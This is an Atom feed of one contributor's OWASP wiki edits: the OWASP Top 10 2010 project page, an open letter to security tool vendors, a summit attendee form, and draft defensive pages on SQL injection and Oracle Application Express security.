https://wiki.owasp.org/api.php?action=feedcontributions&feedformat=atom&user=Mjk303OWASP - User contributions [en]2026-05-03T19:00:55ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=Category:OWASP_Top_Ten_Project&diff=105432Category:OWASP Top Ten Project2011-02-18T17:59:49Z<p>Mjk303: </p>
<hr />
<div>{{OWASP Book|1400974}} <br />
<center><br>'''Do You Recommend the OWASP TOP 10?''' Tweet a sign of support [http://twitter.com/home/?status=OWASP+has+FREE+practical+software+development+and+security+resources:+http://bit.ly/bMb0SM Click Here] </center><br />
<br><br />
<br />
==== Main ====<br />
<br />
'''Welcome to the OWASP Top Ten Project''' <br />
<br />
== OWASP Top 10 for 2010 ==<br />
<br />
On April 19, 2010 we released the final version of the OWASP Top 10 for 2010, and here is the associated [[OWASPTop10-2010-PressRelease|press release]]. This version was updated based on numerous comments received during the comment period after the release candidate was released in Nov. 2009. <br />
<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf OWASP Top 10 - 2010 Document] <br />
*[[Top 10 2010|OWASP Top 10 - 2010 - wiki]] <br />
*[http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx OWASP Top 10 - 2010 Presentation]<br />
<br />
The OWASP Top 10 Web Application Security Risks for 2010 are: <br />
<br />
*A1: Injection <br />
*A2: Cross-Site Scripting (XSS) <br />
*A3: Broken Authentication and Session Management <br />
*A4: Insecure Direct Object References <br />
*A5: Cross-Site Request Forgery (CSRF) <br />
*A6: Security Misconfiguration <br />
*A7: Insecure Cryptographic Storage <br />
*A8: Failure to Restrict URL Access <br />
*A9: Insufficient Transport Layer Protection <br />
*A10: Unvalidated Redirects and Forwards<br />
<br />
Please help us make sure every developer in the ENTIRE WORLD knows about the OWASP Top 10 by helping to spread the word!!! <br />
<br />
As you help us spread the word, please emphasize: <br />
<br />
*OWASP is reaching out to developers, not just the application security community <br />
*The Top 10 is about managing risk, not just avoiding vulnerabilities <br />
*To manage these risks, organizations need an application risk management program, not just awareness training, app testing, and remediation<br />
<br />
We need to encourage organizations to get off the penetrate and patch mentality. As Jeff Williams said in his 2009 OWASP AppSec DC Keynote: “we’ll never hack our way secure – it’s going to take a culture change” for organizations to properly address application security. <br />
<br />
If you are interested in doing a presentation on the OWASP Top 10, please feel free to use all or parts of this: <br />
<br />
== Introduction ==<br />
<br />
The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. Versions of the 2007 were translated into English, French, Spanish, Japanese, Korean and Turkish and other languages. Translation efforts for the 2010 version are underway and they will be posted as they become available. <br />
<br />
We urge all companies to adopt this awareness document within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code. <br />
<br />
== Versions ==<br />
<br />
Stable: <br />
<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf OWASP Top 10 2010 - PDF] <br />
*[[Top 10 2010|OWASP Top 10 2010 - wiki]]<br />
<br />
2010 Translations: <br />
<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20French.pdf OWASP Top 10 2010 - French PDF] <br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Indonesian.pdf OWASP Top 10 2010 - Indonesian PDF]<br />
*[http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf OWASP Top 10 2010 - Italian PDF]<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Japanese-A4.pdf OWASP Top 10 2010 - Japanese PDF]<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Korean.pdf OWASP Top 10 2010 - Korean PDF]<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf OWASP Top 10 2010 - Spanish PDF]<br />
<br />
2010 Release Candidate: <br />
<br />
*[http://www.owasp.org/index.php/File:OWASP_T10_-_2010_rc1.pdf OWASP Top 10 2010 Release Candidate] <br />
*[http://www.owasp.org/images/e/e1/OWASP_Top_10_RC-Public_Comments.docx OWASP Top 10 2010 Release Candidate Comments], except for one set of scanned comments [http://www.owasp.org/images/2/2e/OWASP_T10_-_2010_rc1_cmts_Kai_Jendrian.pdf which are here].<br />
<br />
Old versions: <br />
<br />
*[http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf OWASP Top 10 2007 - PDF] <br />
*[[Top 10 2007|OWASP Top 10 2007 - wiki]] <br />
*[http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=Project_Details OWASP Top 10 2007 - PDF Translations are here] <br />
*[[Top 10 2004|OWASP Top 10 2004 - wiki]]<br />
<br />
== Users and Adopters ==<br />
<br />
The U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. In addition, the U.S. Defense Information Systems Agency (DISA) has listed the OWASP Top Ten as key best practices that should be used as part of the DoD Information Assurance Certification and Accreditation Process ([http://iase.disa.mil/diacap/ DIACAP]). <br />
<br />
In the commercial market, the [http://usa.visa.com/download/business/accepting_visa/ops_risk_management/cisp_PCI_Data_Security_Standard.pdf Payment Card Industry (PCI) standard] has adopted the OWASP Top Ten, and requires (among other things) that all merchants get a security code review for all their custom code. In addition, a broad range of companies and agencies around the globe are also using the OWASP Top Ten, including: <br />
<br />
*A.G. Edwards <br />
*Bank of Newport <br />
*Best Software <br />
*British Telecom <br />
*Bureau of Alcohol, Tobacco, and Firearms (ATF) <br />
*Citibank <br />
*Cboss Internet <br />
*Cognizant <br />
*Contra Costa County, CA <br />
*Corillian Corporation <br />
*Digital Payment Technologies <br />
*Foundstone Strategic Security <br />
*HP <br />
*IBM Global Services <br />
*National Australia Bank <br />
*Norfolk Southern <br />
*OneSAS.com <br />
*Online Business Systems <br />
*Predictive Systems <br />
*Price Waterhouse Coopers <br />
*Recreational Equipment, Inc. (REI) <br />
*SSP Solutions <br />
*Samsung SDS (Korea) <br />
*Sempra Energy <br />
*Sprint <br />
*Sun Microsystems <br />
*Swiss Federal Institute of Technology <br />
*Symantec <br />
*Texas Dept of Human Services <br />
*The Hartford <br />
*Zapatec <br />
*ZipForm <br />
*...and many others<br />
<br />
Several schools have also adopted the OWASP Top Ten as a part of their curriculum, including Michigan State University (MSU), and the University of California at San Diego (UCSD). <br />
<br />
Several open source projects have adopted the OWASP Top Ten as part of their security audits, including: <br />
<br />
*[http://plone.org Plone open source CMS project] (managed by the Plone Foundation)<br />
<br />
== Feedback ==<br />
<br />
Please let us know how your organization is using the Top Ten. Include your name, organization's name, and brief description of how you use the list. Thanks for supporting OWASP! <br />
<br />
We hope you find the information in the OWASP Top Ten useful. Please contribute back to the project by sending your comments, questions, and suggestions to topten@lists.owasp.org Thanks! <br />
<br />
To join the OWASP Top Ten mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-topten subscription page.] <br />
<br />
== Project Sponsors ==<br />
<br />
The OWASP Top Ten project is sponsored by [[Image:Aspect_logo.gif|link=http://www.aspectsecurity.com/]] [[Image:AppSecDC2009-Sponsor-softtek.gif|link=http://www.softtek.com]]<br />
<br />
<!-- ==== Project Identification ====<br />
{{Template:OWASP OWASP_Top10 Project}} --><br />
<br />
==== 2010 Translation Efforts ====<br />
<br />
Efforts are underway in numerous languages to translate the OWASP Top 10. If you are interested in helping, please contact the other members of the team for the language you are interested in contribution to, or if you don't see your language listed, please let me know you want to help and we'll form a volunteer group for your language too!! <br />
<br />
Completed Translations:<br />
<br />
*French: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20French.pdf OWASP Top 10 2010 - French PDF] sebastien.gioria@owasp.org, ludovic.petit@sfr.com, antonio.fontes@owasp.org, benoit.guerette@owasp.org, Jocelyn.aubert@owasp.org, Eric.Garreau@gemalto.com, Guillaume.Huysmans@gemalto.com <br />
*Indonesian: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Indonesian.pdf OWASP Top 10 2010 - Indonesian PDF] Tedi Heriyanto (coordinator), Lathifah Arief, Tri A Sundara, Zaki Akhmad<br />
*Italian: [http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf OWASP Top 10 2010 - Italian PDF] See Italian Translation Tab for Translation Team<br />
*Japanese: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Japanese-A4.pdf OWASP Top 10 2010 - Japanese PDF] cecil.su@owasp.org, Dr. Masayuki Hisada, Yoshimasa Kawamoto, Ryusuke Sakamoto, Keisuke Seki, Shin Umemoto, Takashi Arima<br />
*Korean: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Korean.pdf OWASP Top 10 2010 - Korean PDF] Hyungkeun Park, (mirrk1@gmail.com)<br />
*Spanish: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf OWASP Top 10 2010 - Spanish PDF] See Spanish Translation Tab for Translation Team<br />
<br />
Volunteer Translation Efforts Underway: <br />
<br />
*German: kai.jendrian@secorvo.de <br />
*Portuguese: carlos.j.serrao@gmail.com; taquiles@gmail.com; wagner.elias@owasp.org; victoreufrasio@gmail.com; leo.cavallari@owasp.org; victoreufrasio@gmail.com; <br />
*Greek: Konstantinos Papapanagiotou (conpap@di.uoa.gr) <br />
*Turkish: bora@abi.com.tr <br />
*Chinese: weilin.zhong@owasp.org <br />
*Malay, Vietnamese: cecil.su@owasp.org <br />
*Czech: petr.zavodsky@owasp-czech-republic.cz<br />
*Dutch: marinus@kuivenhoven.com<br />
<br />
==== Project Details ====<br />
<br />
{{:GPC_Project_Details/OWASP_Top10 | OWASP Project Identification Tab}} <br />
<br />
==== Spanish Translation ====<br />
<br />
Me complace en informarles que gracias al trabajo excepcional y totalmente voluntario de las personas listadas abajo hemos concluido con la traducción del Top 10 al español. <br />
<br />
Muchas gracias a nuestro equipo de traducción! <br />
<br />
*Daniel Cabezas Molina <br />
*Edgar Sanchez <br />
*Juan Carlos Calderon <br />
*Jose Antonio Guasch <br />
*Paulo Coronado <br />
*Rodrigo Marcos <br />
*Vicente Aguilera<br />
<br />
El documento se puede obtener en la siguiente dirección URL: <br />
<br />
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf Formato PDF] <br />
*[http://www.owasp.org/images/8/86/OWASP_Top_10_-_2010_FINAL_%28spanish%29.pptx Formato PPT]<br />
<br />
Desde ya, se agradecen los comentarios y/o sugerencias sobre el mismo. <br />
<br />
Saludos, <br />
<br />
Fabio Cerullo Comité Global de Educación OWASP <br />
<br />
==== Italian Translation ====<br />
<br />
Grazie al contributo del seguente team di traduttori, è possibile ottenere il documento OWASP Top 10 2010 in italiano: <br />
<br />
*Simone Onofri <br />
*Paolo Perego <br />
*Massimo Biagiotti <br />
*Edoardo Viscosi <br />
*Salvatore Fiorillo <br />
*Roberto Battistoni <br />
*Loredana Mancini <br />
*Michele Nesta <br />
*Paco Schiaffella <br />
*Lucilla Mancini <br />
*Gerardo Di Giacomo <br />
*Valentino Squilloni<br />
<br />
Il documento è disponibile [http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf qui.] <br><br />
<br />
Grazie e buona lettura! <br />
<br />
[http://www.owasp.org/index.php/Italy OWASP-Italy]<br />
<br />
==== How Are Companies/Projects/Vendors Using the OWASP Top 10? ====<br />
<br />
Click the links for more details on each use! <br />
<br />
'''Warning''': these articles have not been rated for accuracy by OWASP. Product companies should be extremely careful about claiming to "cover" or "ensure compliance" with the OWASP Top 10. The current state-of-the-art for automated detection (scanners and static analysis) and prevention (waf) is nowhere near sufficient to claim adequate coverage of the issues in the Top 10. Nevertheless, using the Top 10 as a simple way to communicate security to end users is effective. <br />
<br />
;[http://blogs.msdn.com/b/sdl/archive/2008/05/01/sdl-and-the-owasp-top-ten.aspx Microsoft] <br />
:as a way to measure the coverage of their SDL and improve security<br />
<br />
;[http://www.nsa.gov/applications/search/index.cfm?q=owasp NSA] <br />
:in their developer guidance on web application security<br />
<br />
;[https://www.pcisecuritystandards.org/index.shtml PCI Council] <br />
:as part of the Payment Card Industry Data Security Standard (PCI DSS)<br />
<br />
;[http://community.citrix.com/display/ocb/2010/06/02/NetScaler+Application+Firewall+and+the+OWASP+Top+10+2010 Citrix] <br />
:in a guide showing how to configure their NetScalar product<br />
<br />
;[http://msdn.microsoft.com/en-us/library/dd129898.aspx Microsoft] <br />
:to show how "T10 threats are handled by the security design and test procedures of Microsoft"<br />
<br />
;[http://www.web2py.com/examples/default/security web2py] <br />
:to demonstrate the security of this Python web framework<br />
<br />
;[http://www.owasp.org/index.php/Commentary_OWASP_Top_Ten_2004_Project Oracle] <br />
:for developer awareness<br />
<br />
;[http://www.theatremanagerhelp.com/book/export/html/1640 TheatreManager] <br />
:to show how their product is secure for web use<br />
<br />
;[http://knol.google.com/k/automated-vulnerabilty-scanners-and-the-owasp-top-10# WhiteHat] <br />
:as a way to explain the coverage of their service<br />
<br />
;[http://www.imperva.com/docs/TB_SecureSphere_OWASP_2010-Top-Ten.pdf Imperva] <br />
:to show the coverage of the SecureSphere tool<br />
<br />
;[http://blog.cenzic.com/public/item/254309 Cenzic] <br />
:to enable "focused scans for compliance testing with the updated PCI standard"<br />
<br />
<br><br />
<br />
__NOTOC__ <headertabs /><br />
<br />
[[Category:OWASP_Project]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document]]</div>Mjk303https://wiki.owasp.org/index.php?title=Summit_2011/Open_letter_to_WebAppSec_Tool_and_Services_vendors:_Release_your_schemas_and_allow_automation&diff=104050Summit 2011/Open letter to WebAppSec Tool and Services vendors: Release your schemas and allow automation2011-02-07T12:57:35Z<p>Mjk303: </p>
<hr />
<div><BR>__TOC__<BR><br />
'''IMPORTANT DISCLAIMER: THIS LETTER IS NOT AN OFFICIAL OWASP POSITION. THE OWNERSHIP OF ITS REQUEST BELONGS TO THE NAMES UNDER THE 'SIGNED BY' SECTION'''<br />
<br/><br/><br />
{{:Summit_2011/Open_letter_to_WebAppSec_Tool_and_Services_vendors:_Release_your_schemas_and_allow_automation/Letter_Content}}<br />
<br/><br/><br />
==Signed by==<br />
* Dinis Cruz - Application Security Consultant - Independent<br />
* Sebastien Deleersnyder - Managing Technical Consultant - SAIT Zenitel<br />
* Jim Manico - CEO - Infrared Security<br />
* Alexander Meisel - CTO - art of defence<br />
* Sven Vetsch - Senior Security Tester - Dreamlab Technologies<br />
* Daniel Cuthbert - Assessment Manager - SensePost<br />
* Eoin Keary - EMEIA Attack & Penetration Senior Manager - Ernst & Young<br />
* Anurag Agarwal - Founder - MyAppSecurity<br />
* Zaki Akhmad - Security Analyst - indocisc<br />
* Sebastien Gioria - Head of Security and IT Audit - Groupe Y<br />
* Paolo Perego - Application Security Specialist - armoredcode.com<br />
* Steven van der Baan - Software Architect - Sogeti Nederland<br />
* Andres Andreu - CTO & Founder - neuroFuzz<br />
* Marinus Kuivenhoven - Sr. Security Specialist - Sogeti Nederland<br />
<br />
Please use the format: {Name - Role - Company}<br />
<br />
==Vendors that commit to deliver the requested materials==<br />
* art of defence</div>Mjk303https://wiki.owasp.org/index.php?title=Summit_2011_Attendee/Attendee130&diff=102376Summit 2011 Attendee/Attendee1302011-01-28T12:18:38Z<p>Mjk303: </p>
<hr />
<div>{{Template:<includeonly>{{{1}}}</includeonly><noinclude>OWASP 2011 Global Summit Attendee Tab</noinclude><br />
|-<br />
| summit_attendee_name1 = Marinus Kuivenhoven<br />
| summit_attendee_email1 = mjk303@gmail.com<br />
| summit_attendee_wiki_username1 = mjk303<br />
|-<br />
| summit_attendee_company = <br />
|-<br />
| Project Leadership (less than 6 months old) = <br />
| Project Leadership (more than 6 months old) = <br />
| Release Leadership (less than 6 months old) = <br />
| Release Leadership (more than 6 months old) = <br />
| Project Contribution (less than 6 months old) = <br />
| Project Contribution (more than 6 months old) = <br />
| Release Contribution (less than 6 months old) = <br />
| Release Contribution (more than 6 months old) = <br />
| Committee Membership = <br />
| Chapter Co-Leadership = <br />
| Conference Co-Leadership = <br />
| Projected Funding Cost = 900<br />
|-<br />
| summit_attendee_current_owasp_involvement_name1 = <br />
| summit_attendee_current_owasp_involvement_url_1 = <br />
| summit_attendee_current_owasp_involvement_name2 = <br />
| summit_attendee_current_owasp_involvement_url_2 = <br />
| summit_attendee_current_owasp_involvement_name3 = <br />
| summit_attendee_current_owasp_involvement_url_3 = <br />
| summit_attendee_current_owasp_involvement_name4 = <br />
| summit_attendee_current_owasp_involvement_url_4 = <br />
| summit_attendee_current_owasp_involvement_name5 = <br />
| summit_attendee_current_owasp_involvement_url_5 = <br />
|-<br />
| summit_attendee_reason_for_summit_participation_name1 = University Outreach, Education and Training<br />
| summit_attendee_reason_for_summit_participation_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_University_Education_Training_Track<br />
| notes_reason_for_participating_issues_to_be_discussed_1 = I'm already giving lectures and workshops on various education instances in the Netherlands about OWASP. I would like to contribute on how we can streamline the use of material, how to get both the educators and students to participate and what we can do to help with projects, papers and research in general.<br />
| summit_attendee_reason_for_summit_participation_name2 = OWASP Secure Coding Workshop<br />
| summit_attendee_reason_for_summit_participation_url_2 = http://www.owasp.org/index.php/Category:Summit_2011_OWASP_Secure_Coding_Workshop_Track<br />
| notes_reason_for_participating_issues_to_be_discussed_2 = Having developed and teached several secure coding courses, I noticed some patterns in the way programmers are thinking. I think we should address the problem on a higher level indepentant of implementation. For instance 'how should you talk to an interpreter' loose from the fact that doing it wrong can result in XSS and injection flaws. Otherwise we are just blacklisting programming errors and won't prevent future security problems.<br />
| summit_attendee_reason_for_summit_participation_name3 = <br />
| summit_attendee_reason_for_summit_participation_url_3 = <br />
| notes_reason_for_participating_issues_to_be_discussed_3 = <br />
| summit_attendee_reason_for_summit_participation_name4 = <br />
| summit_attendee_reason_for_summit_participation_url_4 = <br />
| notes_reason_for_participating_issues_to_be_discussed_4 = <br />
| summit_attendee_reason_for_summit_participation_name5 = <br />
| summit_attendee_reason_for_summit_participation_url_5 = <br />
| notes_reason_for_participating_issues_to_be_discussed_5 = <br />
|-<br />
| summit_attendee_owasp_sponsor = <br />
|-<br />
| summit_attendee_summit_time_paid_by_name1 =<br />
| summit_attendee_summit_time_paid_by_url_1 =<br />
| summit_attendee_summit_time_paid_by_name2 =<br />
| summit_attendee_summit_time_paid_by_url_2 =<br />
|-<br />
| summit_attendee_summit_expenses_paid_by_name1 = <br />
| summit_attendee_summit_expenses_paid_by_url_1 = <br />
| summit_attendee_summit_expenses_paid_by_name2 = <br />
| summit_attendee_summit_expenses_paid_by_url_2 = <br />
|-<br />
| reason_for_sponsorship = <br />
|-<br />
| status = <br />
|-<br />
| letter sent to sponsor = <br />
|-<br />
| notes for Kate = <br />
|-<br />
| attendee_name_mask = <!--Please replace DO NOT EDIT this string --> Attendee130<br />
| attendee_home_page = <!--Please replace DO NOT EDIT this string --> Summit_2011_Attendee/Attendee130<br />
}}</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46731PL/SQL:SQL Injection2008-11-21T21:42:40Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Attack==<br />
<br />
==Vunerabilities==<br />
<br />
===UNIONS===<br />
Append the output of one or more other statements <br />
===SUBSELECTS===<br />
Blind SQL injection <br />
===PACKAGES===<br />
functions<br />
===DML===<br />
Insert, update and delete<br />
===DDL===<br />
Alter .. in case of a dynamic query.<br />
===Viewa===<br />
It is possible to update a view<br />
===Database links===<br />
Query other databases with @database link<br />
<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
===Stored Procedures===<br />
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [[PL/SQL:Privilege escalation]]<br />
<br />
===Obfuscation===<br />
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.<br />
<br />
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
===Bind variables===<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46730Application Express (ApEx)2008-11-21T21:39:20Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
* [[ApEx:XSS]]<br />
* [[ApEx:SQL injection]]<br />
* [[ApEx:URL Tampering]]<br />
* [[ApEx:Authentication]]<br />
* [[ApEx:Authorization Schemes]]<br />
* [[ApEx:Defence in depth]]<br />
* [[ApEx:Configuration]]<br />
* [[ApEx:Google dorks]]<br />
* [[ApEx:Architecture]]<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Defence_in_depth&diff=46729ApEx:Defence in depth2008-11-21T21:37:36Z<p>Mjk303: New page: WIP 21/11/2008 ==Buttons== Dont hide button, but also disable the process from executing. ==Input== Values from Select lists should validated on the backend. ==Tabs & Menu's== Dont hide...</p>
<hr />
<div>WIP 21/11/2008<br />
<br />
==Buttons==<br />
Dont hide button, but also disable the process from executing.<br />
<br />
==Input==<br />
Values from Select lists should validated on the backend.<br />
<br />
==Tabs & Menu's==<br />
Dont hide the tabs, but use authorization schemes.</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Authorization_Schemes&diff=46728ApEx:Authorization Schemes2008-11-21T21:24:20Z<p>Mjk303: New page: WIP 21/11/2008 ==Add an Access Control Page== ==Identify Privileged Users== ==Apply Authorization Rules to Application Components==</p>
<hr />
<div>WIP 21/11/2008<br />
<br />
<br />
==Add an Access Control Page== <br />
==Identify Privileged Users== <br />
==Apply Authorization Rules to Application Components==</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Authentication&diff=46727ApEx:Authentication2008-11-21T21:19:14Z<p>Mjk303: New page: WIP 21/11/2008 ==No authentication== Public access to the resources (APEX_PUBLIC_USER is being used, unless you specify another user in the dads.conf1) ==Open door credentials Log in...</p>
<hr />
<div>WIP 21/11/2008<br />
<br />
==No authentication==<br />
Public access to the resources (APEX_PUBLIC_USER is being used, unless you specify another user in the dads.conf[[1]])<br />
<br />
==Open door credentials<br />
Log in with just a username, no password. Only use this in the development / testing stage.<br />
<br />
==ApEx build-in credentials==<br />
Use the usermanagement that ApEx supplies. This also known as cookie users. (Use this for quick prototyping, accoring to Scott Spendoli)<br />
<br />
==Database account authentication==<br />
Use the database roles/users. The connection is still made using the credentials specified in the dads.conf [[1]]<br />
<br />
==Custom authentication==<br />
LDAP/OID/AD/SSO<br />
<br />
[[1]]If you have read through the official Oracle HTML DB documentation, you will note that it refers to a file named marvel.conf instead of dads.conf. Whenever the Oracle HTML DB documentation refers to the file marvel.conf, it means the dads.conf configuration file!</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46723Application Express (ApEx)2008-11-21T20:44:54Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
* [[ApEx:XSS]]<br />
* [[ApEx:SQL injection]]<br />
* [[ApEx:URL Tampering]]<br />
* [[ApEx:Authentication]]<br />
* [[ApEx:Authorization Schemes]]<br />
* [[ApEx:Defence in depth]]<br />
* [[ApEx:Interactive reports]]<br />
* [[ApEx:Configuration]]<br />
* [[ApEx:Google dorks]]<br />
* [[ApEx:Architecture]]<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:URL_Tampering&diff=46722ApEx:URL Tampering2008-11-21T20:44:19Z<p>Mjk303: New page: http://dgielis.blogspot.com/2007/03/session-state-protection-and-url.html</p>
<hr />
<div>http://dgielis.blogspot.com/2007/03/session-state-protection-and-url.html</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:SQL_injection&diff=46721ApEx:SQL injection2008-11-21T20:42:27Z<p>Mjk303: New page: Dont use substitution variables & but bind variables :</p>
<hr />
<div><br />
<br />
<br />
Dont use substitution variables & but bind variables :</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Configuration&diff=46720ApEx:Configuration2008-11-21T20:36:59Z<p>Mjk303: New page: ==Security options in the administration services== Disable Administrator Login Disable Workspace Login Restrict Access by IP Address Workspace Password Policy Version 3.1 will conta...</p>
<hr />
<div><br />
==Security options in the administration services==<br />
Disable Administrator Login<br />
<br />
Disable Workspace Login<br />
<br />
Restrict Access by IP Address<br />
<br />
Workspace Password Policy<br />
<br />
<br />
Version 3.1 will contain a Runtime Installation that probably will alleviate most of this<br />
<br />
Miscellaneous<br />
<br />
Debugging should be disabled<br />
<br />
Build Status should be Run Application Only</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46719Application Express (ApEx)2008-11-21T20:35:24Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
* [[ApEx:XSS]]<br />
* [[ApEx:SQL injection]]<br />
* [[ApEx:URL Tampering]]<br />
* [[ApEx:Session State Protection]]<br />
* [[ApEx:Authentication]]<br />
* [[ApEx:Authorization Schemes]]<br />
* [[ApEx:Defence in depth]]<br />
* [[ApEx:Interactive reports]]<br />
* [[ApEx:Configuration]]<br />
* [[ApEx:Google dorks]]<br />
* [[ApEx:Architecture]]<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:XSS&diff=46718ApEx:XSS2008-11-21T20:32:34Z<p>Mjk303: New page: ==WIP 21/11/2008== ==Overview== ==Example== Create a Form on a table of type “Form on a Table with Report” Run the Report and create a row with this data in a VARCHAR2 column When y...</p>
<hr />
<div>==WIP 21/11/2008==<br />
<br />
==Overview==<br />
<br />
==Example==<br />
Create a Form on a table of type “Form on a Table with Report”<br />
Run the Report and create a row with this data in a VARCHAR2 column<br />
<br />
